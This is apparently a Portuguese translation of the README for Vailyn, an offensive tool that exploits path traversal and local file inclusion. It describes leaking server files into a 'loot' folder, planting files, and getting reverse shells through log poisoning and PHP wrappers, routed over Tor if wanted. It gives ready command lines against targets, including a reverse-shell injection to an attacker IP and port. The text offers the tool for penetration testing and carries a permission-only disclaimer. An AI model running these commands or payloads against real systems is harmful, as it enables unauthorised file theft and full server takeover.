
Uma ferramenta em Python para varredura e exploração evasiva e em fases de Path Traversal + LFI

Ataques de Path Traversal e LFI em Fases
Vailyn 3.0
Desde a v3.0, o Vailyn suporta wrappers PHP LFI na Fase 1. Use
--lfipara incluí-los na verificação.
O Vailyn é uma ferramenta de análise e exploração de vulnerabilidades em múltiplas fases para vulnerabilidades de path traversal e inclusão de arquivos. Ela foi construída para ser a mais performática possível e oferecer um amplo arsenal de técnicas de evasão de filtros.
O Vailyn opera em 2 fases. Primeiro, ele verifica se a vulnerabilidade está presente. Ele faz isso tentando acessar /etc/passwd (ou um arquivo especificado pelo usuário), com todas as suas cargas de evasão. Analisando a resposta, as cargas que funcionaram são separadas das demais.
Agora, o usuário pode escolher livremente quais cargas usar. Apenas essas cargas serão utilizadas na segunda fase.
A segunda fase é a fase de exploração. Agora, ele tenta vazar todos os arquivos possíveis do servidor usando um dicionário de arquivos e um dicionário de diretórios. A profundidade da busca e o nível de permutação de diretórios podem ser adaptados por argumentos. Opcionalmente, ele pode baixar os arquivos encontrados e salvá-los na pasta de saques. Alternativamente, ele tentará obter um reverse shell no sistema, permitindo que o atacante obtenha controle total sobre o servidor.
Atualmente, ele suporta múltiplos vetores de ataque: injeção via query, caminho, cookie e dados POST.
A separação em várias fases é feita para melhorar enormemente o desempenho da ferramenta. Em versões anteriores, cada combinação arquivo-diretório era verificada com cada carga. Isso resultava em uma enorme sobrecarga devido às cargas serem sempre usadas novamente, apesar de não funcionarem para a página atual.
As versões recomendadas e testadas do Python são 3.7+, mas deve funcionar bem com Python 3.5 e Python 3.6 também. Para instalar o Vailyn, baixe o arquivo da aba de releases ou execute
$ git clone https://github.com/VainlyStrain/Vailyn
Uma vez no seu sistema, você precisará instalar as dependências do Python.
Em sistemas Unix, basta executar
$ pip install -r requirements.txt # --user
Algumas bibliotecas que o Vailyn usa não funcionam bem no Windows ou falharão ao instalar.
Se você usa Windows, use pip para instalar os requisitos listados em Vailyn\·›\requirements-windows.txt.
Se o twisted falhar ao instalar, há uma versão não oficial disponível aqui, que deve compilar no Windows. Apenas lembre-se de que é um download de terceiros e a integridade não é necessariamente garantida. Depois que isso for instalado com sucesso, executar pip novamente em requirements-windows.txt deve funcionar.
Se você quiser usar totalmente o módulo de reverse shell, precisará ter sshpass, ncat e konsole instalados. Os nomes dos pacotes variam conforme a distribuição Linux. No Windows, você precisará iniciar o listener manualmente antes. Se você não gosta do konsole, pode especificar um emulador de terminal diferente em core/config.py.
É isso! Inicie o Vailyn movendo para o diretório de instalação e executando
$ python Vailyn -h
O Vailyn tem 3 argumentos obrigatórios: -v VIC, -a INT e -p2 TP P1 P2. No entanto, dependendo de -a, mais argumentos podem ser necessários.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
obrigatório:
-v VIC, --victim VIC Alvo para atacar, parte 1 [pré-carga]
-a INT, --attack INT Tipo de ataque (int, 1-5, ou A)
A| Spider (todos) 2| Caminho 5| Dados POST, json
P| Spider (parcial) 3| Cookie
1| Parâmetro de Query 4| Dados POST, simples
-p2 TP P1 P2, --phase2 TP P1 P2
Ataque na Fase 2 e parâmetros necessários
┌[ Valores ]─────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ Dicionário de Arquivos │ Dicionário de Diretórios │
│ inject │ Endereço IP │ Porta de Escuta │
│ implant │ Arquivo Fonte │ Destino no Servidor │
└─────────┴─────────────┴────────────────────┘
adicionais:
-p PAM, --param PAM parâmetro de query ou dados POST para --attack 1, 4, 5
-i F, --check F Arquivo a verificar na Fase 1 (padrão: etc/passwd)
-Pi VIC2, --vic2 VIC2 Alvo do ataque, parte 2 [pós-carga]
-c C, --cookie C Cookie para anexar (no formato de cabeçalho)
-l, --loot Baixar arquivos encontrados para a pasta de saques
-d I J K, --depths I J K
profundidades (I: fase 1, J: fase 2, K: nível de permutação)
-h, --help mostrar este menu de ajuda e sair
-s T, --timeout T Timeout de requisição; opção estável para Arjun
-t, --tor Canalizar ataques através da rede de anonimato Tor
-L, --lfi Usar também wrappers PHP para vazar arquivos
-n, --nosploit Pular a Fase 2 (não precisa de -p2 TP P1 P2)
-P, --precise Usar profundidade exata na Fase 1 (não um intervalo)
-A, --app Iniciar a interface Qt5 do Vailyn
desenvolvimento:
--debug Exibir todos os caminhos tentados, mesmo 404s.
--version Exibir a versão do programa e sair.
--notmain Evitar travamento do notify2 em chamada de subprocesso.
Info:
para vazar arquivos usando caminhos absolutos: -d 0 0 0
para obter um shell usando caminhos absolutos: -d 0 X 0
O Vailyn atualmente suporta 5 vetores de ataque e fornece um crawler para automatizá-los todos. O ataque realizado é identificado pelo argumento -a INT.
INT ataque
---- -------
1 ataque baseado em query (https://site.com?file=../../../)
2 ataque baseado em caminho (https://site.com/../../../)
3 ataque baseado em cookie (vai capturar os cookies para você)
4 dados POST simples (ELEM1=VAL1&ELEM2=../../../)
5 dados POST json ({"file": "../../../"})
A spider buscar + analisar todas as URLs do site usando todos os vetores
P spider parcial buscar + analisar todas as URLs do site usando apenas vetores selecionados
Você também deve especificar um alvo para atacar. Isso é feito via -v VIC e -Pi VIC2, onde -v é a parte antes do ponto de injeção e -Pi o restante.
Exemplo: se a URL final deve ficar assim: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, você pode especificar -v https://site.com/download.php e -Pi ¶m2=necessaryvalue (e -p file, já que este é um ataque de query).
Se você quiser incluir wrappers PHP na verificação (como php://filter), use o argumento --lfi. Ao final da Fase 1, você verá um menu de seleção adicional contendo os wrappers que funcionaram. (se houver)
Se o site atacado estiver atrás de uma página de login, você pode fornecer um cookie de autenticação via -c COOKIE. Se você quiser atacar através do Tor, use --tor.
Esta é a fase de análise, onde as cargas funcionais são separadas das demais.
Por padrão, /etc/passwd é procurado. Se o servidor não estiver rodando Linux, você pode especificar um arquivo personalizado com -i NOME_DO_ARQUIVO. Note que você deve incluir subdiretórios em NOME_DO_ARQUIVO.
Você pode modificar a profundidade da busca com o primeiro valor de -d (padrão=8).
Se você quiser usar caminhos absolutos, defina a primeira profundidade como 0.
Esta é a fase de exploração, onde o Vailyn tentará vazar o máximo de arquivos possível, ou obter um reverse shell usando várias técnicas.
A profundidade da busca na fase 2 (o número máximo de camadas percorridas para trás) é especificada pelo segundo valor do argumento -d. O nível de permutação de subdiretórios é definido pelo terceiro valor de -d.
Se você atacar com caminhos absolutos e realizar o ataque de vazamento, defina todas as profundidades como 0. Se você quiser obter um reverse shell, certifique-se de que a segunda profundidade seja maior que 0.
Ao especificar -l, o Vailyn não apenas exibirá os arquivos no terminal, mas também baixará e salvará os arquivos na pasta de saques.
Se você quiser uma saída detalhada (exibir toda saída, não apenas arquivos encontrados), pode usar --debug. Note que a saída fica muito confusa, basicamente é apenas uma ajuda de depuração.
Para realizar o ataque de força bruta, você precisa especificar -p2 leak FIL CAM, onde
Para obter um reverse shell por injeção de código, você pode usar -p2 inject IP PORTA, onde
AVISO
O Vailyn emprega técnicas de Log Poisoning. Portanto, SEU IP ESPECIFICADO FICARÁ VISÍVEL NOS LOGS DO SERVIDOR.
As técnicas (funcionam apenas para inclusões LFI):
inclusão de /proc/self/environ funciona apenas em servidores desatualizadosLog Poisoning do Apache + Nginx & inclusãoLog Poisoning do SSHinclusão de e-mail envenenadoexpect://data:// (simples & b64)php://inputPara distinguir resultados reais de falsos positivos, o Vailyn faz as seguintes verificações:
-a 2, realiza uma verificação adicional se o conteúdo da resposta corresponde ao conteúdo da URL raiz do servidor/etc/passwd se estiver usando esse arquivo como arquivo de consultaAtaque de Query simples, vazando arquivos na Fase 2:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Ataque de Query, mas sei que um arquivo file.php existe exatamente 2 níveis acima do ponto de inclusão:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Isso encurtará bastante a duração da Fase 1, pois é um ataque direcionado.
Ataque de Caminho simples:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Ataque de Caminho, mas preciso de parâmetros de query e tag:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Ataque de Cookie simples:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Vai buscar os cookies e você pode selecionar o cookie que deseja envenenar
Crawler do Vailyn analisando uma aplicação web vulnerável. Wrappers LFI não estão habilitados.
Demonstração da GUI (v2.2.1-5)
Encontrou alguns falsos positivos/negativos (ou quer relatar outros bugs/melhorias): por favor, abra uma issue!
O Vailyn é fornecido como uma ferramenta de auditoria ofensiva para aplicações web. Ele possui funcionalidades integradas que podem revelar vulnerabilidades potenciais em aplicações web, que poderiam ser exploradas maliciosamente.
PORTANTO, NEM O AUTOR NEM OS COLABORADORES SÃO RESPONSÁVEIS POR QUALQUER USO INDEVIDO OU DANO DEVIDO A ESTE CONJUNTO DE FERRAMENTAS.
Ao usar este software, o usuário se compromete a seguir as leis locais, a não atacar o sistema de outra pessoa sem permissão explícita do proprietário, ou com intenção maliciosa.
Em caso de infração, apenas o usuário final que a cometeu é responsável por suas ações.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
O Arjun não é mais distribuído com o Vailyn. Instale sua versão mais recente via pip.
Ataque POST Simples:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
infectará DATA2 com a carga
Ataque POST JSON:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Ataque, mas o alvo está atrás de tela de login:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Ataque, mas quero um reverse shell na porta 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # uma profundidade alta na Fase 2 é necessária para injeção de log
(vai iniciar um listener ncat para você se estiver no Unix)
Automação total no modo crawler:
$ Vailyn -v "http://root-url.site" -a A você também pode especificar outros argumentos, como cookie, profundidades, lfi e arquivo de consulta aqui
Automação total, mas o Arjun precisa de --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY